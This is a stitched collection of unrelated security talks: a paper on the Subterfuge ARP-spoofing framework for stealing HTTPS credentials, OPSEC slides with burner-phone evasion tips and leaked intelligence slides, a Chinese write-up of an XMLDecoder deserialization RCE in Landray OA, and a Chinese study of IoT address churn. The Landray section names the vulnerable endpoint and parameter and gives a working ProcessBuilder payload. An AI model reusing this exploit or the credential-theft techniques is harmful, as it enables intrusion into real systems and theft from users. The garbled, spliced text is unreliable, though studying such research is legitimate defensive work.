standard, plaintext web session that can then be easily monitored. Stealing credentials and sessions becomes trivial at this
point. SSLStrip is a difficult piece of software for the average security researcher to set up quickly, let alone an average
web user. The configuration process requires the user to perform intricate changes to files on the host operating system in
addition to setting up network routing rules with a separate program.
Traceroute while under Man-in-the-Middle Attack:
ARP: It’s Like Stealing Candy from a n00b
3
Motivation
Man-in-the-Middle Attacks are a category of vulnerability against which most applicable systems are
susceptible. They are and will remain this way because of their obscurity. Until MITM attacks are simplistic
enough that even aspiring security professionals can easily leverage them against networks, manufacturers
will continue to develop and distribute vulnerable equipment. With Subterfuge, it is possible to make
knowledge of these vulnerabilities mainstream, beyond even the security community. Subterfuge can be the
motivation that manufactures like Cisco need to build the protections that they have provided to their
enterprise customers for years into the systems they sell the average consumer.
The overall goal was to develop a tool that is sufficiently effective and easy to use in order to encourage the
security community to focus on the massive vulnerability inherent in the Address Resolution Protocol. To
achieve this result, we created a framework called Subterfuge, which allows even an average user to exploit
the vulnerabilities in ARP on a local network.
The most basic implementation of Subterfuge collects information and user credentials across an entire local
area network and organizes the collected data into a SQLite Database. It does this through the automated
utilization of the ARPSpoof and SSLStrip programs, both of which are publicly available.
Subterfuge automatically manages its configuration file, yet allows more advanced users the ability to delve
deeper into the MITM settings. This requires Subterfuge to detect the hardware and network configurations
needed to initiate the attack. Additionally, Subterfuge is able to properly configure, set up, and deploy the
SSLStrip software with little or no input required from the user.
The tedious and difficult problem of properly configuring and executing these multiple pieces of software in
unison is eased by the automation developed and included in the Subterfuge Project.
This tool is deemed successful if a user is able to execute Subterfuge to collect user information and credentials
on the network to which they are connected. Specifically, a Subterfuge user ought to be able to steal user
credentials, without the victim’s knowledge, even when using a “secure” protocol such as HTTPS.
Outcomes
So what can it do? During preliminary testing, Subterfuge was able to capture login credentials from many
websites to include:
Yahoo
Ebay
Amazon
Facebook
Twitter
In our test cases, the tool was even able to steal information transmitted over HTTPS. During these captures,
sessions were successfully and near transparently degraded from HTTPS to HTTP. The victim, who was using
the Google Chrome web browser, logged into Facebook.com and had their credentials stolen and displayed by
the tool in plaintext. Indication of foul play was limited to a Uniform Resource Locator (URL) that stated
www.facebook.com as opposed to https://www.facebook.com. No certificate errors were presented to the
victim, and the victim was able to login just as they normally would. Thus, their login information was still
stolen with effective transparency.
Web Code Injection
The Subterfuge Project includes a modified version of SSLStrip that takes advantage of its web proxy
capabilities. Subterfuge’s modification allows the data to be tampered with before reaching the victims
browser. In essence this allows us to inject arbitrary code into a victim’s browser session. This can be anything
from a JavaScript alert message to an exploit like ms10_aurora.
4
Extensibility and the Framework
Naturally, Man-in-the-Middle Attacks are not limited to mere credential fraud. Neither is Subterfuge. Basic
usage of the tool will be to ARP Poison the LAN; however, from this perspective it is possible to initiate many
attacks. The Framework will automatically gather credentials, but it can also do more. Subterfuge’s Plugin
System allows for the usage of additional MITM functionality without the need to develop another security
tool from scratch.
Future Work
There are numerous areas of future advancement for this framework. At a fundamental level, the framework
can be expanded to include additional features to increase its effectiveness in testing and exploiting the
vulnerabilities in the ARP protocol.
This tool can also be modified to work as a payload to an exploitation framework such as Metasploit.
Subterfuge could be deployed on a remote network to harvest the credentials of legitimate users silently and
transparently and then report the information back to a command and control server.
Current Progress
The Subterfuge Project is currently in its beta phase. Plans for future development include modules for:
Session Hijacking
Race Conditions
DNS Spoofing
Wireless AP Suite
Evilgrade Update Exploitation
Module – Session Hijacking
The session hijacking plugin will allow a user to masquerade as a victim within the session that was hijacked.
Module – Race Conditions
The race condition plugin will allow Subterfuge to return its own version of the web page that a user attempts
to view. This modified version of the web page will contain a browser exploit, which can be used to attain
arbitrary code execution on the victim’s machine.
Module – DNS Spoofing
The DNS spoofing plugin will allow Subterfuge to supply false DNS information to a victim’s machine causing
them to be redirected to an alternate location.
Module – Wireless AP Suite
The Wireless AP Suite will have a number of extremely useful features, which will increase the functionality of
Subterfuge. A user will be able to setup a fake access point through which a victim will connect, successfully
creating a MITM situation. An advanced option would even listen for what computers in the nearby area are
probing for and setup an access point spoofing networks the victims have previously connected to. This will
allow the victim computers to connect to and route their traffic through Subterfuge without any user input.
Module – Evilgrade Update Exploitation
Evilgrade is a tool that allows a user to spoof an update server on the network. When a victim starts up a
program such as iTunes it automatically looks to see if updates exist. Evilgrade steps into this process and
sends the victim a malicious payload. Subterfuge will include a module that simplifies the process, and
incorporates it into the framework.
OS Compatibility
The beta version of Subterfuge runs on Linux only; however, the creation of installer packages for the
Windows and Mac operating systems will ensure the widespread use of the Subterfuge MITM Framework.
5
Custom ARP Spoof Tool
The final version of Subterfuge will incorporate a custom-built Python ARP Spoofing Tool using Scapy to
improve performance, increase stealth, and provide better MITM protection avoidance. This tool will replace
ARPSpoof and allow for more advanced configurations and dynamic options to increase effectiveness, and
engender the ability to thwart certain configurations of Cisco’s Dynamic ARP Inspection protection. It will also
decrease network load and will allow the attack to hide more effectively amongst normal network traffic.
Conclusion
In conclusion, the Subterfuge Framework allows a user to circumvent many security protocols and policies on
a computer network with ease and with devastating results to the victims. Credential harvesting can be one of
the most difficult attacks to recover from as a corporation or an individual because the attacker has the
legitimate information that is entered to authenticate a user. Furthermore, the modular structure of Subterfuge
makes it extremely extensible. The simplicity and effectiveness offered by Subterfuge should drive the rate of
its incorporation into the toolbox of network security practitioners. If this tool is released to the public and
distributed, the wide-spread ease in which anyone on a computer network could be victimized by a non-
technical user will have the desired effect of forcing the information security community to come up with a
solution to the underlying problem – the trusting nature of the Address Resolution Protocol.
The Framework: Poking Holes in ARP one
Starbucks at a Time
6
The GUI:
Subterfuge’s web based GUI uses AJAX and JQuery to leverage user input as commands. It then converses
with a Django Backend to allow for the seamless execution of the python code that embodies the core of the
project.
Command Line Interface:
The Command Line Interface (CLI) for Subterfuge allows users to quickly configure and run a MITM attack
against a network.
Interface Options
7
A Potential Solution: VLANs
VLANs can provide network segmentation, which can prevent MITM attacks. Some routers put different hosts
on different VLANs. In these cases the devices may be independent of MAC Addresses thereby preventing an
ARP Poisoning Attack from occurring. If however, multiple hosts are on the same VLAN no additional
protection is provided.
8
An ARP Cache Poison can modify a victim’s ARP Table:
9
“Creativity is inventing experimenting, growing, taking risks, breaking rules and having fun.”
~ Mary Lou Cook
[1] Barber, R. (2011, August 30). Security Science. Retrieved from Computer Fraud & Security Volume 2001, Issue 3.
[2] Kurose, J. and Ross, K. Computer Networking: A Top-Down Approach. 5th Edition. Addison-Wesley. Page 61
[3] Saltzman, R. (2011, August 30). Security Science. Retrieved from OWASP: http://www.security-
science.com/pdf/active-man-in-the-middle.pdf
[4] Leitch, S. (2009). Security Issues Challenging Facebook. Retrieved from Edith Cowan University Research Online:
http://ro.ecu.edu.au/cgi/viewcontent.cgi?article=1017&context=ism&sei-redir=1#search=%22facebook%20secure%22
[5] Wagner, R. (2011, August 30). Address Resolution Protocol Spoofing and Man-in-the-Middle Attacks. Retrieved from
http://savannah.gatech.edu/people/lthames/dataStore/WormDocs/arppoison.pdf
[6] Norton, D. (2011). An Ettercap Primer. SANS Institute, 1-27.
[7] Marlinspike, M. (2011, August 30). Blackhat. Retrieved from http://blackhat.com/presentations/bh-europe-
09/Marlinspike/blackhat-europe-2009-marlinspike-sslstrip-slides.pdf
[8] Song, D. (2012, January 1). Dsniff Frequently Asked Questions. Retrieved from
http://www.monkey.org/~dugsong/dsniff/faq.html
[9] Ogle, J. and Wagner, E. (2012, March 8). Hotel Network Security: A Study of Computer Networks in U.S. Hotels. Retrieved
from http://www.hotelschool.cornell.edu/research/chr/pubs/reports/abstract-14928.html
References
References
Legacy: Demonstrating Need and Spurring Change
There is an obvious need for change in routing equipment. While routers that incorporate VLANs
and are thus protected against ARP Spoofing do exist, they are uncommon commodities.
Manufactures have no real incentive to improve their equipment because the arcane art of Man-in-
the-Middle Attacks is obscure enough that the average consumer is unconcerned, but they are not
safe. Subterfuge uncovers the faults in ARP so easily that consumers of routers will be able to point at
products and ask themselves, “Does this product protect me from Subterfuge? “This just might
provide the impetus that manufactures should have had a decade ago. Hopefully, through
demonstration of the pervasive vulnerabilities inherent in the ARP Protocol router manufacturers
will be spurred into utilization of existing technologies to protect their users.
Hopefully through demonstration of the pervasive vulnerabilities inherent in the ARP Protocol
router manufactures will be spurred into utilization of existing technologies to protect against ARP
Poisoning attacks.
10 | pdf |
Don’t Fuck It Up!
Zoz
jackdawsart.com
Unjust laws exist: shall we be content to obey
them, or shall we endeavor to amend them,
and obey them until we have succeeded, or
shall we transgress them at once?
—Henry David Thoreau, Civil Disobedience
FUCK IT UP
* y o u * h a v e * b e e n * B S O D o m i z e d *
y y
o / \ \ / \ o
u | | \ | | u
* | `. | | : *
h ` | | \| | h
a \ | / / \\\ --__ \\ : a
v \ \/ _--~~ ~--__| \ | v
e \ \_-~ ~-_\ | e
* \_ \ _.--------.______\| | *
b \ \______// _ ___ _ (_(__> \ | b
e \ . C ___) ______ (_(____> | / e
e /\ | C ____)/ \ (_____> |_/ e
n / /\| C_____) | (___> / \ n
* | ( _C_____)\______/ // _/ / \ *
B | \ |__ \\_________// (__/ | B
S | \ \____) `---- --' | S
O | \_ ___\ /_ _/ | O
D | / | | \ | D
o | | / \ \ | o
m | / / | | \ | m
i | / / \__/\___/ | | i
z | / | | | | z
e | | | | | | e
d | | | | | | d
* y o u * h a v e * b e e n * B S O D o m i z e d *
On the Internet, everyone knows you like ASCII Goatse.
⇥⇤⌅⇧⌃⌥
Tradecraft
Perceptual Biases
Expectations
Resistance
Ambiguities
Biases In Evaluating
Evidence
Consistency
Missing Information
Discredited Evidence
Biases In Estimating
Probabilities
Availability
Anchoring
Overconfidence
Biases In Perceiving
Causality
Rationality
Attribution
Tradecraft
• Key Assumptions Check
• Quality Of Information Check
• Contrarian Techniques
• Devil’s Advocacy
• High Impact/Low Probability
• “What If?” Analysis
• Red Team
OPSEC
Identify Critical Info
Analyze Threats
Assess the Risks
Apply Countermeasures
Analyze Vulnerabilities
The 7 Deadly Fuckups
• Overconfidence
• Trust
• Perceived Insignificance
• Guilt By Association
• Packet Origin
• Cleartext
• Documentation
Don’t Fuck It Up When You Use A VPN
• Traffic Encryption
• Location Obfuscation
• Request Concealment
• ...Depending On Listener Location
• ...Depending On Provider
⇥⇤⌅⇧⌃⌥
Remember:
PPTP Broken As Of
Don’t Fuck It Up
When You Use
Case Study: LulzSec/AntiSec
IRC WITHOUT TOR...
...NOT EVEN ONCE
• Don’t Fail Unsafe With Tor
• Always Check What You’re Exposing
• OPSEC Is 24/7
Moral:
Case Study: Harvard Bomb Hoax
WHAT AIN’T NO COUNTRY I EVER HEARD OF
THEY SPEAK OPSEC IN WHAT?
What Fucked It Up?
• Harvard Network Registration
• Outgoing Traffic Logs
• Pervasive Surveillance Microcosm
• Moral:
• Key Assumptions Check
• High Impact/Low Probability Analysis
• Bridge Relays
• Traffic Analysis Preparation
Case Study: Silk Road/DPR
What Fucked It Up?
?
ale.
able
ice’s
etely
t of
rrent
dden
elays
crip-
Figure 4.
Hidden service descriptor request rate during one day.
its usage statistics.
As a proof of concept we used this approach to control
one of the six hidden service directories of the discovered
Tor botnet, the Silk Road hidden service, and the Duck-
DuckGo hidden service. We tracked these for several days
and obtained the following measurements: (1) The number
of requests for the hidden service descriptor per day (see
Tables I and II) and (2) the rate of requests over the course
of a day, which is shown in Figure 4 (each point corresponds
to the number of hidden service descriptor requests per one
hour).
C l
1
f T bl
I
d
l
2
d 4
f T bl
II
ght from
infosec/
t-from-
Tor in a
n NDSS
System
tor-talk]
ject.org/
.
Private
009.
es prob-
Markov
pp. 140–
LEVINE,
passive
mposium
vices by
uter and
7–36.
servers.
rity and
[ 6]
N
, S.,
N
U
OC , S. J.
p oved c oc
skew measurement technique for revealing hidden services.
In USENIX Security Symposium (2008), pp. 211–226.
APPENDIX
A. The Influence of Shadow Relays on the Flag Assignment
During the second harvesting experiment we accidentally
revealed an important artifact of the flag assignment in Tor
which is not obvious from the Tor specifications. Near the
end of the experiment we were notified by the Tor developers
that the Sybil attack had caused a spike in the number of
relays assigned Fast flags and Guard flags (see Fig. 6)
Figure 6.
Increase in the number of Guard nodes.
Biryukov, Pustogarov, Weinmann:
Trawling for Tor Hidden Services:
Detection, Measurement,
Deanonymization, 2013
Don’t Fuck It Up
When You Use The Phone
•
How Does Your Phone Betray You? Let Me Count The Ways...
•
Metadata
•
Location
•
Contacts
•
Networks
•
Unique Identifiers
•
Cookies
•
Searches
•
Weak Crypto
•
Repeated Access
•
Autoconnect (Pineapple’s BFF)
•
Apps
•
Pattern Of Life
TOP SECRET//COMINT//REL TO USA, FVEY
TOP SECRET//COMINT//REL TO USA, FVEY
Example of Current Volumes and Limits
5
TOP SECRET//COMINT//REL TO USA, FVEY
TOP SECRET//COMINT//REL TO USA, FVEY
Dupe Methodology
Compare records within various time windows that share
identical selectors and locations, specifically:
LAC
CellID
VLR
DesigChannelID
IMEI
ESN
IMSI
MIN
TMSI
MDN
CLI
ODN
MSISDN
RegFMID
CdFMID
CgFMID
RegGID
CdGID
RegIID
Kc
CdIID
CgIID
MSRN
Rand
Sres
Opcode
RQ1
XR1
Q_CK1
Q_IK1
AU1
NewPTMSI
OSME
DSME
RTMSI
PDP_Address
TEID
TLLI
PTMSI
PDDG
28
Perfect Scenario - Target uploading
photo to a social media site taken
with a mobile device.
What can we get?
TOP SECRETIICOMINT/REL TO USA, FVEY
11
• Examine settings of phone as well as service
providers for geo-Iocation; specific to a certain
•
regIon
• Networks connected
• Websites visited
• Buddy Lists
• Documents Downloaded
• Encryption used and supported
• User Agents
TOP SECRETIICOMINT/REL TO USA, FVEY
12
Targeting both Telephony and DNI systems
• Call Logs
• SMS
• SIM Card Leads
• Email address
• IMEI/IMSI
• Unique Identifiers
• Blackberry PINS
TOP SECRETIICOMINT/REL TO USA, FVEY
13
(U) Converged Analysis of
Smartphone Devices
Case Study: CIA/Abu Omar
OCD OPSEC:
Using A Burner Phone Without Fucking It Up
•
DO:
•
Advance Purchase
•
Register Far Away
•
Lie To Phone Companies
•
Stay Dumb
•
Remove Battery
•
Fake Contacts
•
Minimize Use
•
Move & Switch
•
Falsify Call Network
•
Purpose Equipment
•
Thou Shalt Always Kill
OCD OPSEC:
Using A Burner Phone Without Fucking It Up
• DON’T EVER:
• Co-Localize
• Co-Activate
• Co-Contact
• Store Real Data
• Match Entry/Exit
• Bridge Online Metadata
Don’t Fuck It Up
When You Use Messaging
•
After All These Years, E-Mail Still Sucks
•
Spam Fighting Aids Tracking
•
Webmail Using HTTP
•
Weak Server-Side Storage
•
Encrypted Content Not Metadata
•
Insecure Client-Side Logging
•
Bad Retention Habits
•
Google
•
And IM Is Not Much Better
•
Psycho Ex Principle
Threadworm in sheep intestine
SECURITY BY OBSCURITY DOESN’T WORK
TELL THAT TO THESE GUYS
Case Study: CIA/Petraeus
What Fucked It Up?
•
Technique Already Identified & Compromised
•
Pervasive Surveillance Designed To Expose Exactly This
Type Of Access Correlation
•
Deleted Things Aren’t
•
Understand & Manage Insecure Channels
•
Quality Of Information Check, “What If?”
Common Broken/Compromised Services
• Commercial Webmail
• Run Your Own Mailserver
• Metadata’s Still A Bitch
Common Broken/Compromised Services
• Skype
• PRISM, SIGINT Enabling, JTRIG, Forced
“Upgrades”, Pre-MS EOL
• Fuck Skype
Common Broken/Compromised Services
•
Many Chats
•
Let’s Just Assume IRC Is All Collected
•
Why Not Grab 6667 Like 80?
•
TLS Only Protects You To The Server
•
QUANTUMBOT
•
GChat’s “Off The Record” Isn’t The Same As OTR
•
That First OTR Message
⇥⇤⌅⇧⌃⌥
⇥⇤⌅⇧⌃⌥
What Might Not Be Completely Fucked
•
Some OTR Implementations (But Which Ones?)
•
Cryptocat?
•
Bitmessage?
•
Retroshare?
•
We Need More:
•
Auditing
•
Steganography
So what if I’m a glasshole? You are too.
Steganography:
Hiding In Plain Sight
Steganography:
Hiding In Plain Sight
⇥⇤⌅⇧⌃⌥⌃
• Reported But Docs Not Released:
• P2P Traffic High Volume/Low Value
• GCHQ TEMPORA Minimizes, 30% Ingest Reduction
• Need To Hide In This Flood
Scenario:
@yahoo
•
@yahoo.com has a number of Yahoo groups in his/her
contact list, some with many hundreds or thousands of
members
•
At DS-200B in particular, collection spiked as:
– The initial spam messages were sent (and collected)
– Inboxes of email recipients were viewed by
contact list
– Messages were sometimes viewed, but more often sent as precached
views on Google and Yahoo (along with inboxes)
– Inboxes where the recipient did not delete the spam message continued to
be collected every time they were viewed
– Some recipients added
@yahoo.com to their address books
(possibly as a spam defeat?) – address books were collected every time
TOP SECRET//SI//NOFORN
TOP SECRET//SI//NOFORN
Scenario:
@yahoo
•
@yahoo.com emergency detasked from DS-200B and
US-3171 at 13:04Z on 20 Oct
•
Numerous first-order address books and inboxes collected
meant tasked selectors on address books or buddy lists of
contacts of
@yahoo.com also affected:
–
@yahoo.com and
@gmail.com emergency
detasked off US-3171 at 13:10Z on 20 Sep
•
Memorializing to PINWALE only address books and inboxes
owned by target selectors would have reduced PINWALE
volumes 90%+
– Site XKEYSCOREs would buffer data for SIGDEV purposes
– Metadata from known owner address books and inboxes stored regardless
TOP SECRET//SI//NOFORN
TOP SECRET//SI//NOFORN
Steganography:
Hiding In Plain Sight
H4x0rz: Lose The Ego
•
Burner Rules For IDs
•
IRL Identity Real And Separate
•
Know & Compartmentalize Pseudonyms
•
Cred Is Another Enemy
•
Really Burn Them, No Really
Don’t Fuck It Up,
And After You Do:
• Contingency Planning
• Plausible Deniability
• Adversary Capability
• Seek Advice In Advance
• Support Those Who Provide It
• Good Luck & Never Surrender To Obedience
Stylometrics: Don’t Fuck It Up
• Resist Providing A Corpus
• Obfuscate
• Machine Translate
• Imitate
• Alpha Tools: JStylo/Anonymouth | pdf |
早上起来刷了下朋友圈,看到了一个新漏洞
蓝凌 OA 存在任意文件写入???蓝凌????并且还有漏洞地址
漏洞在/sys/search/sys_search_main/sysSearchMain.do 下面
这里也给出了 method 为 editrParam。参数为 FdParameters
已经很明确了,那么复现一下。
在 com.landray.kmss.sys.search.jar 中的
com.landray.kmss.sys.search.actions.SysSearchMainAction 类。
method 为 editrParam。
看下流程。
大概就是对 fdParemNames 的内容进行了判空。如果不为空。进入
SysSearchDictUtil.getParamConditionEntry 方法。其实这一步不重要。因为后面这
一步也没啥用。就讲讲。。
主要还是在 setParametersToSearchConditionInfo 方法。
也是对 fdParemNames 进行了一次判空。然后传入
ObjectXML.objectXMLDecoderByString 方法。这里就是漏洞点了
追过去就更好理解了。讲传入进来的 string 字符进行替换。然后讲其载入字节数组缓冲区,
在传递给 objectXmlDecoder。
。
在 objectXmlDecoder 中。就更明显了。典型的 xmlDecoder 反序列化。
整体流程只对 FdParameters 的内容进行了一些内容替换。
导致 xmlDecoder 反序列化漏洞。
本地 POC:
Xmldecoder payload 生成
https://github.com/mhaskar/XMLDecoder-payload-generator
这里尝试打开文稿 pages.app(第一次用 mac,气质没跟上)
Code:
<?xml version="1.0" encoding="UTF-8"?> <java
version="1.7.0_21" class="java.beans.XMLDecoder"> <void
class="java.lang.ProcessBuilder"> <array
class="java.lang.String" length="2"><void
index="0"><string>open</string></void><void
index="1"><string>/Applications/Pages.app</string></void>
</array> <void method="start" id="process"> </void> </void>
</java>
当然,别多想。这是个后台洞。因为开放的白名单只有以下几个:
/login.jsp*; /resource/**; /service/**; /*/*.index; /logout*; /admin.do*; /browser.jsp*;
/axis/*; /kk*; /forward.html*; /sys/webservice/*; /vcode.jsp; | pdf |
物 联 网 资 产 变 化 研 究
演 讲 人 : 桑 鸿 庆
绿 盟 科 技 资 深 安 全 研 究 员
2019
PART 01
简介
目录
CONTENTS
PART 02
IPv4地址变化
PART 03
分析
PART 04
IPv6地址变化
01
02
03
04
PART 05
影响与建议
05
PART 01
网 络 空 间 引 擎 与 物 联 网 资 产 识 别 简 介
《唐人街探案2》中片段
挪威 Finse 1222酒店
图片来源于网络
网 络 空 间 搜 索 引 擎
物 联 网 资 产 暴 露 概 况
资产
协议探测
Banner
设备识别
Label
41,791
993,445
4,752,926
4,239,729
473,501
1,319,448
21,252,312
27,957,765
0
5,000,000
10,000,000
15,000,000
20,000,000
25,000,000
30,000,000
打印机
VoIP电话
摄像头
路由器
设备类型
全球
中国
全 球 和 国 内 物 联 网 相 关 设 备 暴 露 概 况 ( 2 0 1 8 全 年 数 据 )
资
产
发
现
过
程
DrDoS
Mirai变种仍然在活跃的发动攻击
利用路由器和摄像头的反射攻击事件飙升
图片来源于网络
搜索到的物联网设备服务已不在
发现的威胁情报不存活?
暴 露 数 量 真 的 是 这 样 的 吗 ?
一 起 攻 击 事 件 感 染 范 围 真 有 这 么 大 ?
为什么大量服务、威胁情报不存活?
国 内 物 联 网 资 产 I P v 4 网 络 地 址 变 化 情 况
PART 02
4,235,111
1,426,008
1,063,759
563,572 388,107 241,767 234,353 163,282 145,665 130,433
0
500,000
1,000,000
1,500,000
2,000,000
2,500,000
3,000,000
3,500,000
4,000,000
4,500,000
554
80
5060
22
21
443
23
8080
8081
81
暴露资产(个)
端口号
Others…
RTSP SIP
UPnP ……
物联网
互联网
70%
HTTP HTTPS
SSH
Telnet FTP 30%
国 内 物 联 网 资 产 暴 露 的 端 口 及 协 议 分 布 情 况
国内暴露的物联网资产协议分布情况
基 于 多 轮 扫 描 结 果 对 比 的 资 产 变 化 研 究 方 法
第1轮
(基准轮次)
第2轮
第3轮
(对比轮次)
第n轮
(对比轮次)
扫描开始
扫描结束 扫描开始
扫描时长
第4轮
第5轮
(对比轮次)
对比间隔时间
扫描结束
18,878
15,355
18,534
14,105
29,920
33,447
30,263
34,688
26,960
24,557
27,793
26,076
0
5,000
10,000
15,000
20,000
25,000
30,000
35,000
40,000
间隔6天
间隔34天
间隔49天
间隔74天
暴露资产(个)
对比时间
无变化
消失资产
新出现资产
两次对比类
型没有发生
变化的数量
相对于基准
消失的资产
数量
相对于基准
新增的资产
数量
路 由 器 变 化 情 况
8 0 端 口 路 由 器
Ø 平 均 扫 描 周 期 3 天
Ø 总 量 约 5 万
u 变 化 的 资 产 数 量 相 对 稳 定 , 约
有 3 . 3 万 路 由 器 网 络 地 址 发 生
过 变 化 , 约 占 总 量 的 6 8 %
40,021
35,195
34,162
28,370
141,984
146,810
151,282
153,635
156,634
167,817
167,917
184,164
0
50,000
100,000
150,000
200,000
间隔16天
间隔28天
间隔40天
间隔64天
暴露资产(个)
对比时间
无变化
消失资产
新出现资产
VoIP电 话 变 化 情 况
5 0 6 0 端 口 Vo I P 电 话
Ø 平均扫描周期3天
Ø 总量约18万
u 变化的资产数量相对稳定, 约有
15万VoIP电话网络地址发生过变
化,大约占总资产量的80%
摄 像 头 变 化 情 况
356,042
327,989
308,393
303,499
123,192
151,245
170,841
175,735
127,975
156,589
177,893
185,131
0
50,000
100,000
150,000
200,000
250,000
300,000
350,000
400,000
间隔3天
间隔6天
间隔12天
间隔15天
暴露资产(个)
对比时间
无变化
消失资产
新出现资产
554端口摄像头
Ø 平均扫描周期3天
Ø 总量约47万
u 约有15万摄像头网络地址发生过
变化,占总资产量的25%
68 %
Router
80 %
VoIP
25 %
Camera
观察发现:互联网上的暴露物联网资产网络地址,根据类型的不同均存在着不同程度的变化,并且新
增和消失的数量几乎平衡,变化量随着时间的推移缓慢递增
摄 像 头 变 化 情 况 ( 平均扫描周期增加到7天)
263,346
255,615
253,186
243,053
179,506
187,237
189,665
199,801
183,815
194,817
198,747
207,148
0
50,000
100,000
150,000
200,000
250,000
300,000
间隔23天
间隔33天
间隔38天
间隔56天
暴露资产(个)
对比时间
无变化
消失资产
新出现资产
554端口摄像头
Ø 扫描周期增加到7天
u 增加平均扫描周期,相比之前间隔3天,
资产的变化量45%,相比之前3天扫描
周期增加20%;但有24万资产,间隔
56天未发生变化
观察发现:在一定范围内,缩短国内资产平均扫描周期,可以减少资产变化数
量;同样有一部分物联网资产地址在观测时间内一直都没有变化
33,200
32,304
31,275
30,645
3,912
5,089
5,915
6,393
4,125
5,021
6,050
6,680
0
10,000
20,000
30,000
40,000
间隔3天
间隔6天
间隔9天
间隔11天
暴露资产(个)
无变化
消失资产
新出现资产
18,450
19,863
19,547
19,152
1,975
1,331
2,618
3,409
1,914
2,738
2,344
3,785
0
5,000
10,000
15,000
20,000
25,000
间隔3天
间隔6天
间隔9天
间隔10天
暴露资产(个)
无变化
消失资产
新出现资产
日 本 5 5 4 端 口 摄 像 头 变 化 情 况
新 加 坡 5 5 4 端 口 摄 像 头 变 化 情 况
亚 太 地 区 物 联 网 资 产 变 化 并 不 明 显
对比于国内,日本和新
加坡的资产变化比例明
显小的多,仅有不到
15%的资产在变化
资 产 网 络 地 址 变 化 原 因 分 析
PART 03
关 于 资 产 变 化 的 猜 想
猜想1:物联网资产的网络地址变更,导致我们看到的资产变化
猜想2:网络地址变化可能在一定范围内,并且有可能和运营商相关
分 布 在 同 C 段 映 射 的 物 联 网 资 产 统 计
0-20,
5,560,194,
59%
20-50,
2,025,966,
21%
50-100,
1,465,491,
15%
100以上,
453,381,
5%
累计2个月物联网设备IP分布在同网段的数量统计
发现:同一网段物联网资产数量大于20的资
产数量占总量的41%
资 产 C 段 映 射 变 化 明 显 下 降
129125
129114
128956
128177
45901
46860
47266
48725
45634
47325
47806
49078
0
20000
40000
60000
80000
100000
120000
140000
间隔23天
间隔33天
间隔38天
间隔56天
暴露资产(个)
无变化
消失网段
新增网段
554端口的摄像头
13176
13047
13028
10935
4724
4929
4995
7383
4300
4224
4476
3684
0
2000
4000
6000
8000
10000
12000
14000
间隔26天
间隔34天
间隔49天
间隔58天
暴露资产(个)
不变网段
消失网段
新增网段
80端口的路由器
47,182
47,586
47,794
39,801
10,023
10,856
11,371
17,145
12,031
12,052
12,126
8,331
0
10,000
20,000
30,000
40,000
50,000
间隔16天
间隔28天
间隔40天
间隔49天
暴露资产(个)
无变化
消失网段
新增网段
5060端口VoIP电话
35%网段发生变化
30%网段发生变化
25%网段发生变化
40%
70%
80%
35%
30%
25%
0.60%
1.04%
4.09%
0%
20%
40%
60%
80%
摄像头
路由器
VoIP电话
网络地址
C段映射
B段映射
物 联 网 资 产 地 址 变 化 与 网 段 变 化 对 比
发现:物联网资产网络地址在一
定网段内变化
结论:运营商采用的动态分配地
址的策略导致物联网资产网络地址
变化
网 络 地 址 变 化 资 产 的 运 营 商 分 布 情 况
7.78%
8.94%
11.61%
12.00%
41.03%
48.02%
63.09%
14692
29126
9878
4704
20051
7524
5624
0
5000
10000
15000
20000
25000
30000
35000
0.00%
10.00%
20.00%
30.00%
40.00%
50.00%
60.00%
70.00%
中国移动通信公司
中国联通China169骨干网
中国电信骨干网
中华电信(台湾)
中国电信集团
中国电信广域网核心自治系统
北京电信通网络科技有限公司
IP运营商名称
变化占比
变化数量
10.88%
11.07%
24.50%
31.30%
53.11%
55.22%
60.84%
70.80%
7377
33169
7167
4717
160815
84797
5209
4159
0
50000
100000
150000
200000
0.00%
20.00%
40.00%
60.00%
80.00%
中国移动通信公司
中华电信(台湾)
电讯盈科有限公司
中国电信集团
中国电信骨干网
中国联通China169骨干网
中国联通北京市网络
中国联通IP网络广东省China169
变化占比
变化数量
554端口摄像头变化资产ASN分布情况
80端口路由器变化资产ASN分布情况
IPv6 物 联 网 资 产 网 络 地 址 变 化 情 况
PART 04
IPv6 网 络 地 址 探 测 的 困 难 性
I P v 6 地 址 数 量 是 I P v 4 的 2 ^ 9 6 倍 , I P v 6 可 以 地 球 上 每 一 粒 沙 分 配 一 个 I P , 而 且 还 有 剩 余
目 前 I P v 6 地 址 使 用 的 实 际 数 量 较 少 , 并 且 地 址 分 布 的 随 机 性 较 大
通 过 对 全 网 扫 描 发 现 I P v 6 资 产 , 从 时 间 和 资 源 上 都 不 切 实 际
利 用 U P n P 发 现 双 栈 物 联 网 资 产
Control Point
Device
1.M-SEARCH
2.NOTIFY
3.HTTP GET xxx.xml
4.200 OK(XML)
.
.
.
NOTIFY * HTTP/1.1
Host:239.255.255.250:1900
Cache-control:max-age=1800
Location:http://[{{our_ipv6}}]/?{{target_ipv4}}
Nt:upnp:rootdevice
Nts:ssdp:alive
Usn:uuid:{uuid} ::upnp:rootdevice
HTTP GET
404
2806:105e:8:92f5:bead:28ff:fee0:**** - -
[02/Aug/2019:13:53:17 +0800]
"GET /?189.142.**.*** HTTP/1.1" 404 177
"-" "Linux/3.0.8, UPnP/1.0,
Portable SDK for UPnP devices/1.6.18"
UPnP工作流程
利用UPnP发现IPv6物联网资产
Scanner
Nginx WEB IPv6
IoT Devices
引用Cisco,Talos 实验室发表的文章
“IPv6 unmasking via UPnP“
1,934
1,331
786
265
42
0
500
1,000
1,500
2,000
2,500
第1天
第2天
第3天
第4天
第5天
暴露资产(个)
存活量
观察发现:同样有部分IPv6地址采用动态的
分配策略,资产的网络地址也在变化
U P n P 发 现 的 I P v 6 资 产 存 活 情 况
物 联 网 资 产 网 络 地 址 变 化 影 响
PART 05
4,752,926
4,239,729
993,445
41,791
1,285,907
459,311
219,936
30,731
0
1,000,000
2,000,000
3,000,000
4,000,000
5,000,000
摄像头
路由器
VoIP电话
打印机
暴露资产(个)
累计数量
实际数量
Ø
累计暴露数量:
2018年全年国内被标记过物联网资产的网络地址数量
Ø
实际暴露数量:
2018年11月内扫描一轮物联网资产的网络地址数量
累计的暴露资产数据和真实暴
露数量相差甚远,根据实际的
业务场景来使用两者数据
暴露资产数量
资产的扫描间隔应该保证在尽可能短的时间内
并及时对历史物联网资产数据及时做老化,
不变和变化的资产差异对待
才能保证资产库的准确性
资产信息准确性
良好的数据和情报是提供有效网络搜索能力的关键
所以在攻击溯源时,应考虑资产历史变化情况,
如果资产或情报处于动态分配网段,可使用网段映射进行粗粒度匹配
这样才能提高威胁跟踪的精准性
物联网威胁跟踪
回 顾
